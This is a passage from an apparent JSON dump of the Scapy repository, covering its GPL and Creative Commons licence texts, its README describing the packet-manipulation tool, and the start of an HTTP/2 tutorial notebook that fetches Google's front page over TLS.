compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n                            NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License along\n    with this program; if not, write to the Free Software Foundation, Inc.,\n    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program is interactive, make it output a short notice like this\nwhen it starts in an interactive mode:\n\n    Gnomovision version 69, Copyright (C) year name of author\n    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, the commands you use may\nbe called something other than `show w' and `show c'; they could even be\nmouse-clicks or menu items--whatever suits your program.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the program, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the program\n  `Gnomovision' (which makes passes at compilers) written by James Hacker.\n\n  <signature of Ty Coon>, 1 April 1989\n  Ty Coon, President of Vice\n\nThis General Public License does not permit incorporating your program into\nproprietary programs.  If your program is a subroutine library, you may\nconsider it more useful to permit linking proprietary applications with the\nlibrary.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.\n"
  },
  {
    "path": "MANIFEST.in",
    "content": "include MANIFEST.in\ninclude LICENSE\ninclude run_scapy\nprune test\n"
  },
  {
    "path": "README.md",
    "content": "<!-- start_ppi_description -->\n\n# <img src=\"https://github.com/secdev/scapy/raw/master/doc/scapy/graphics/scapy_logo.png\" width=\"64\" valign=\"middle\" alt=\"Scapy\" />&nbsp;&nbsp; Scapy\n\n[![Scapy unit tests](https://github.com/secdev/scapy/actions/workflows/unittests.yml/badge.svg?branch=master&event=push)](https://github.com/secdev/scapy/actions/workflows/unittests.yml?query=event%3Apush) <!-- ignore_ppi -->\n[![Codecov Status](https://codecov.io/gh/secdev/scapy/branch/master/graph/badge.svg)](https://codecov.io/gh/secdev/scapy) <!-- ignore_ppi -->\n[![Codacy Badge](https://api.codacy.com/project/badge/Grade/30ee6772bb264a689a2604f5cdb0437b)](https://app.codacy.com/gh/secdev/scapy/dashboard) <!-- ignore_ppi -->\n[![PyPI Version](https://img.shields.io/pypi/v/scapy.svg)](https://pypi.python.org/pypi/scapy/)\n[![License: GPL v2](https://img.shields.io/badge/License-GPL%20v2-blue.svg)](LICENSE)\n[![Join the chat at https://gitter.im/secdev/scapy](https://badges.gitter.im/secdev/scapy.svg)](https://gitter.im/secdev/scapy) <!-- ignore_ppi -->\n\nScapy is a powerful Python-based interactive packet manipulation program and\nlibrary.\n\nIt is able to forge or decode packets of a wide number of protocols, send them\non the wire, capture them, store or read them using pcap files, match requests\nand replies, and much more. It is designed to allow fast packet prototyping by\nusing default values that work.\n\nIt can easily handle most classical tasks like scanning, tracerouting, probing,\nunit tests, attacks or network discovery (it can replace `hping`, 85% of `nmap`,\n`arpspoof`, `arp-sk`, `arping`, `tcpdump`, `wireshark`, `p0f`, etc.). It also\nperforms very well at a lot of other specific tasks that most other tools can't\nhandle, like sending invalid frames, injecting your own 802.11 frames, combining\ntechniques (VLAN hopping+ARP cache poisoning, VoIP decoding on WEP protected\nchannel, ...), etc.\n\nScapy supports Python 3.7+. It's intended to\nbe cross platform, and runs on many different platforms (Linux, OSX,\n\\*BSD, and Windows).\n\n## Getting started\n\nScapy is usable either as a **shell** or as a **library**.\nFor further details, please head over to [Getting started with Scapy](https://scapy.readthedocs.io/en/latest/introduction.html), which is part of the documentation.\n\n### Shell demo\n\n![Scapy install demo](https://secdev.github.io/files/doc/animation-scapy-install.svg)\n\nScapy can easily be used as an interactive shell to interact with the network.\nThe following example shows how to send an ICMP Echo Request message to\n`github.com`, then display the reply source IP address:\n\n```python\nsudo ./run_scapy\nWelcome to Scapy\n>>> p = IP(dst=\"github.com\")/ICMP()\n>>> r = sr1(p)\nBegin emission:\n.Finished to send 1 packets.\n*\nReceived 2 packets, got 1 answers, remaining 0 packets\n>>> r[IP].src\n'192.30.253.113'\n```\n\n### Resources\n\nThe [documentation](https://scapy.readthedocs.io/en/latest/) contains more\nadvanced use cases, and examples.\n\nOther useful resources:\n\n-   [Scapy in 20 minutes](https://github.com/secdev/scapy/blob/master/doc/notebooks/Scapy%20in%2015%20minutes.ipynb)\n-   [Interactive tutorial](https://scapy.readthedocs.io/en/latest/usage.html#interactive-tutorial) (part of the documentation)\n-   [The quick demo: an interactive session](https://scapy.readthedocs.io/en/latest/introduction.html#quick-demo) (some examples may be outdated)\n-   [HTTP/2 notebook](https://github.com/secdev/scapy/blob/master/doc/notebooks/HTTP_2_Tuto.ipynb)\n-   [TLS notebooks](https://github.com/secdev/scapy/blob/master/doc/notebooks/tls)\n\n## [Installation](https://scapy.readthedocs.io/en/latest/installation.html)\n\nScapy works without any external Python modules on Linux and BSD like operating\nsystems. On Windows, you need to install some mandatory dependencies as\ndescribed in [the\ndocumentation](http://scapy.readthedocs.io/en/latest/installation.html#windows).\n\nOn most systems, using Scapy is as simple as running the following commands:\n\n```bash\ngit clone https://github.com/secdev/scapy\ncd scapy\n./run_scapy\n```\n\nTo benefit from all Scapy features, such as plotting, you might want to install\nPython modules, such as `matplotlib` or `cryptography`. See the\n[documentation](http://scapy.readthedocs.io/en/latest/installation.html) and\nfollow the instructions to install them.\n\n<!-- stop_ppi_description -->\n\n## License\n\nScapy's code, tests and tools are licensed under GPL v2.\nThe documentation (everything unless marked otherwise in `doc/`, and except the logo) is licensed under CC BY-NC-SA 2.5.\n\n## Contributing\n\nWant to contribute? Great! Please take a few minutes to\n[read this](CONTRIBUTING.md)!\n"
  },
  {
    "path": "doc/LICENSE",
    "content": "Creative Commons Attribution-NonCommercial-ShareAlike 2.5\n\nCREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN \"AS-IS\" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.\n\nLicense\n\nTHE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE (\"CCPL\" OR \"LICENSE\"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.\n\nBY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.\n\n    1. Definitions\n        a. \"Collective Work\" means a work, such as a periodical issue, anthology or encyclopedia, in which the Work in its entirety in unmodified form, along with a number of other contributions, constituting separate and independent works in themselves, are assembled into a collective whole. A work that constitutes a Collective Work will not be considered a Derivative Work (as defined below) for the purposes of this License.\n        b. \"Derivative Work\" means a work based upon the Work or upon the Work and other pre-existing works, such as a translation, musical arrangement, dramatization, fictionalization, motion picture version, sound recording, art reproduction, abridgment, condensation, or any other form in which the Work may be recast, transformed, or adapted, except that a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this License. For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image (\"synching\") will be considered a Derivative Work for the purpose of this License.\n        c. \"Licensor\" means the individual or entity that offers the Work under the terms of this License.\n        d. \"Original Author\" means the individual or entity who created the Work.\n        e. \"Work\" means the copyrightable work of authorship offered under the terms of this License.\n        f. \"You\" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.\n        g. \"License Elements\" means the following high-level license attributes as selected by Licensor and indicated in the title of this License: Attribution, Noncommercial, ShareAlike.\n    2. Fair Use Rights. Nothing in this license is intended to reduce, limit, or restrict any rights arising from fair use, first sale or other limitations on the exclusive rights of the copyright owner under copyright law or other applicable laws.\n    3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:\n        a. to reproduce the Work, to incorporate the Work into one or more Collective Works, and to reproduce the Work as incorporated in the Collective Works;\n        b. to create and reproduce Derivative Works;\n        c. to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission the Work including as incorporated in Collective Works;\n        d. to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission Derivative Works;\n\n    The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by Licensor are hereby reserved, including but not limited to the rights set forth in Sections 4(e) and 4(f).\n    4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:\n        a. You may distribute, publicly display, publicly perform, or publicly digitally perform the Work only under the terms of this License, and You must include a copy of, or the Uniform Resource Identifier for, this License with every copy or phonorecord of the Work You distribute, publicly display, publicly perform, or publicly digitally perform. You may not offer or impose any terms on the Work that alter or restrict the terms of this License or the recipients' exercise of the rights granted hereunder. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties. You may not distribute, publicly display, publicly perform, or publicly digitally perform the Work with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this License Agreement. The above applies to the Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Work itself to be made subject to the terms of this License. If You create a Collective Work, upon notice from any Licensor You must, to the extent practicable, remove from the Collective Work any credit as required by clause 4(d), as requested. If You create a Derivative Work, upon notice from any Licensor You must, to the extent practicable, remove from the Derivative Work any credit as required by clause 4(d), as requested.\n        b. You may distribute, publicly display, publicly perform, or publicly digitally perform a Derivative Work only under the terms of this License, a later version of this License with the same License Elements as this License, or a Creative Commons iCommons license that contains the same License Elements as this License (e.g. Attribution-NonCommercial-ShareAlike 2.5 Japan). You must include a copy of, or the Uniform Resource Identifier for, this License or other license specified in the previous sentence with every copy or phonorecord of each Derivative Work You distribute, publicly display, publicly perform, or publicly digitally perform. You may not offer or impose any terms on the Derivative Works that alter or restrict the terms of this License or the recipients' exercise of the rights granted hereunder, and You must keep intact all notices that refer to this License and to the disclaimer of warranties. You may not distribute, publicly display, publicly perform, or publicly digitally perform the Derivative Work with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this License Agreement. The above applies to the Derivative Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Derivative Work itself to be made subject to the terms of this License.\n        c. You may not exercise any of the rights granted to You in Section 3 above in any manner that is primarily intended for or directed toward commercial advantage or private monetary compensation. The exchange of the Work for other copyrighted works by means of digital file-sharing or otherwise shall not be considered to be intended for or directed toward commercial advantage or private monetary compensation, provided there is no payment of any monetary compensation in connection with the exchange of copyrighted works.\n        d. If you distribute, publicly display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works, You must keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or (ii) if the Original Author and/or Licensor designate another party or parties (e.g. a sponsor institute, publishing entity, journal) for attribution in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; the title of the Work if supplied; to the extent reasonably practicable, the Uniform Resource Identifier, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and in the case of a Derivative Work, a credit identifying the use of the Work in the Derivative Work (e.g., \"French translation of the Work by Original Author,\" or \"Screenplay based on original Work by Original Author\"). Such credit may be implemented in any reasonable manner; provided, however, that in the case of a Derivative Work or Collective Work, at a minimum such credit will appear where any other comparable authorship credit appears and in a manner at least as prominent as such other comparable authorship credit.\n        e. For the avoidance of doubt, where the Work is a musical composition:\n            i. Performance Royalties Under Blanket Licenses. Licensor reserves the exclusive right to collect, whether individually or via a performance rights society (e.g. ASCAP, BMI, SESAC), royalties for the public performance or public digital performance (e.g. webcast) of the Work if that performance is primarily intended for or directed toward commercial advantage or private monetary compensation.\n            ii. Mechanical Rights and Statutory Royalties. Licensor reserves the exclusive right to collect, whether individually or via a music rights agency or designated agent (e.g. Harry Fox Agency), royalties for any phonorecord You create from the Work (\"cover version\") and distribute, subject to the compulsory license created by 17 USC Section 115 of the US Copyright Act (or the equivalent in other jurisdictions), if Your distribution of such cover version is primarily intended for or directed toward commercial advantage or private monetary compensation.\n        f. Webcasting Rights and Statutory Royalties. For the avoidance of doubt, where the Work is a sound recording, Licensor reserves the exclusive right to collect, whether individually or via a performance-rights society (e.g. SoundExchange), royalties for the public digital performance (e.g. webcast) of the Work, subject to the compulsory license created by 17 USC Section 114 of the US Copyright Act (or the equivalent in other jurisdictions), if Your public digital performance is primarily intended for or directed toward commercial advantage or private monetary compensation.\n    5. Representations, Warranties and Disclaimer\n\n    UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.\n    6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n    7. Termination\n        a. This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Derivative Works or Collective Works from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.\n        b. Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.\n    8. Miscellaneous\n        a. Each time You distribute or publicly digitally perform the Work or a Collective Work, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.\n        b. Each time You distribute or publicly digitally perform a Derivative Work, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.\n        c. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.\n        d. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.\n        e. This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.\n\nCreative Commons is not a party to this License, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor.\n\nExcept for the limited purpose of indicating to the public that the Work is licensed under the CCPL, neither party will use the trademark \"Creative Commons\" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time.\n\nCreative Commons may be contacted at http://creativecommons.org/.\n\n"
  },
  {
    "path": "doc/notebooks/HTTP_2_Tuto.ipynb",
    "content": "{\n \"metadata\": {\n  \"name\": \"\",\n  \"signature\": \"sha256:50ffc723dfcf9f5650b542c1b77933eeaa2df6f665494225ce2aba661b86885e\"\n },\n \"nbformat\": 3,\n \"nbformat_minor\": 0,\n \"worksheets\": [\n  {\n   \"cells\": [\n    {\n     \"cell_type\": \"heading\",\n     \"level\": 1,\n     \"metadata\": {},\n     \"source\": [\n      \"HTTP/2 Tutorial\"\n     ]\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"This tutorial aims at creating an HTTP/2 session using Scapy. The frontpage of Google will be fetched. The favicon will also be loaded as a dependency of the frontpage. Finally, a Google query will be submitted. The first queries will be generated using some Scapy helpers. The last one will be generated by hand, to better illustrate the low level APIs.\\n\",\n      \"\\n\",\n      \"This tutorial can be run without any privileges (no root, no CAP_NET_ADMIN, no CAP_NET_RAW). One can select \\\"Cell -> Run All\\\" to perform the three queries.\"\n     ]\n    },\n    {\n     \"cell_type\": \"heading\",\n     \"level\": 2,\n     \"metadata\": {},\n     \"source\": [\n      \"Building the socket\"\n     ]\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"First, we need to build an TLS socket to the HTTP server, and to negotiate the HTTP/2 protocol as the next protocol. Doing so requires a fairly recent version of the Python ssl module. We indeed need support of ALPN (https://www.rfc-editor.org/rfc/rfc7301.txt).\\n\",\n      \"We build our TCP socket first.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"import socket\\n\",\n      \"dn = 'www.google.fr'\\n\",\n      \"\\n\",\n      \"# Get the IP address of a Google HTTP endpoint\\n\",\n      \"l = socket.getaddrinfo(dn, 443, socket.INADDR_ANY, socket.SOCK_STREAM, socket.IPPROTO_TCP)\\n\",\n      \"assert len(l) > 0, 'No address found :('\\n\",\n      \"\\n\",\n      \"s = socket.socket(l[0][0], l[0][1], l[0][2])\\n\",\n      \"s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n\",\n      \"if hasattr(socket, 'SO_REUSEPORT'):\\n\",\n      \"    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)\\n\",\n      \"ip_and_port = l[0][4]\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [],\n     \"prompt_number\": 99\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"We now build our SSL context and we wrap the previously defined socket in it.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"import ssl\\n\",\n      \"# Testing support for ALPN\\n\",\n      \"assert(ssl.HAS_ALPN)\\n\",\n      \"\\n\",\n      \"# Building the SSL context\\n\",\n      \"ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\\n\",\n      \"ssl_ctx.set_ciphers(':'.join([  # List from ANSSI TLS guide v.1.1 p.51\\n\",\n      \"                'ECDHE-ECDSA-AES256-GCM-SHA384',\\n\",\n      \"                'ECDHE-RSA-AES256-GCM-SHA384',\\n\",\n      \"                'ECDHE-ECDSA-AES128-GCM-SHA256',\\n\",\n      \"                'ECDHE-RSA-AES128-GCM-SHA256',\\n\",\n      \"                'ECDHE-ECDSA-AES256-SHA384',\\n\",\n      \"                'ECDHE-RSA-AES256-SHA384',\\n\",\n      \"                'ECDHE-ECDSA-AES128-SHA256',\\n\",\n      \"                'ECDHE-RSA-AES128-SHA256',\\n\",\n      \"                'ECDHE-ECDSA-CAMELLIA256-SHA384',\\n\",\n      \"                'ECDHE-RSA-CAMELLIA256-SHA384',\\n\",\n      \"                'ECDHE-ECDSA-CAMELLIA128-SHA256',\\n\",\n      \"                'ECDHE-RSA-CAMELLIA128-SHA256',\\n\",\n      \"                'DHE-RSA-AES256-GCM-SHA384',\\n\",\n      \"                'DHE-RSA-AES128-GCM-SHA256',\\n\",\n      \"                'DHE-RSA-AES256-SHA256',\\n\",\n      \"                'DHE-RSA-AES128-SHA256',\\n\",\n      \"                'AES256-GCM-SHA384',\\n\",\n      \"                'AES128-GCM-SHA256',\\n\",\n      \"                'AES256-SHA256',\\n\",\n      \"                'AES128-SHA256',\\n\",\n      \"                'CAMELLIA128-SHA256'\\n\",\n      \"            ]))     \\n\",\n      \"ssl_ctx.set_alpn_protocols(['h2'])  # h2 is a RFC7540-hardcoded value\\n\",\n      \"ssl_sock = ssl_ctx.wrap_socket(s, server_hostname=dn)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [],\n     \"prompt_number\": 100\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"We then connect the socket to the TCP endpoint.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"ssl_sock.connect(ip_and_port)\\n\",\n      \"assert('h2' == ssl_sock.selected_alpn_protocol())\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [],\n     \"prompt_number\": 101\n    },\n    {\n     \"cell_type\": \"heading\",\n     \"level\": 2,\n     \"metadata\": {},\n     \"source\": [\n      \"Reading the server settings and acknowledging them.\"\n     ]\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"With HTTP/2, the server is the first to talk, sending its settings for the HTTP/2 session. Let's read them. For this, we wrap the TLS connection into a Scapy SuperSocket for easier management.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"import scapy.supersocket as supersocket\\n\",\n      \"import scapy.contrib.http2 as h2\\n\",\n      \"import scapy.config\\n\",\n      \"scapy.config.conf.debug_dissector = True\\n\",\n      \"ss = supersocket.SSLStreamSocket(ssl_sock, basecls=h2.H2Frame)\\n\",\n      \"srv_set = ss.recv()\\n\",\n      \"srv_set.show()\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x12\\n\",\n        \"  type      = SetFrm\\n\",\n        \"  flags     = set([])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 0L\\n\",\n        \"###[ HTTP/2 Settings Frame ]### \\n\",\n        \"     \\\\settings  \\\\\\n\",\n        \"      |###[ HTTP/2 Setting ]### \\n\",\n        \"      |  id        = Max concurrent streams\\n\",\n        \"      |  value     = 100\\n\",\n        \"      |###[ HTTP/2 Setting ]### \\n\",\n        \"      |  id        = Initial window size\\n\",\n        \"      |  value     = 1048576\\n\",\n        \"      |###[ HTTP/2 Setting ]### \\n\",\n        \"      |  id        = Max header list size\\n\",\n        \"      |  value     = 16384\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 102\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Let's make a note of the server settings for later usage.\\n\",\n      \"We define variables for the server settings. They are assigned the RFC-defined default values. These values are overwritten by the settings provided by the server, if they are provided.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"srv_max_frm_sz = 1<<14\\n\",\n      \"srv_hdr_tbl_sz = 4096\\n\",\n      \"srv_max_hdr_tbl_sz = 0\\n\",\n      \"srv_global_window = 1<<14\\n\",\n      \"for setting in srv_set.payload.settings:\\n\",\n      \"    if setting.id == h2.H2Setting.SETTINGS_HEADER_TABLE_SIZE:\\n\",\n      \"        srv_hdr_tbl_sz = setting.value\\n\",\n      \"    elif setting.id == h2.H2Setting.SETTINGS_MAX_HEADER_LIST_SIZE:\\n\",\n      \"        srv_max_hdr_lst_sz = setting.value\\n\",\n      \"    elif 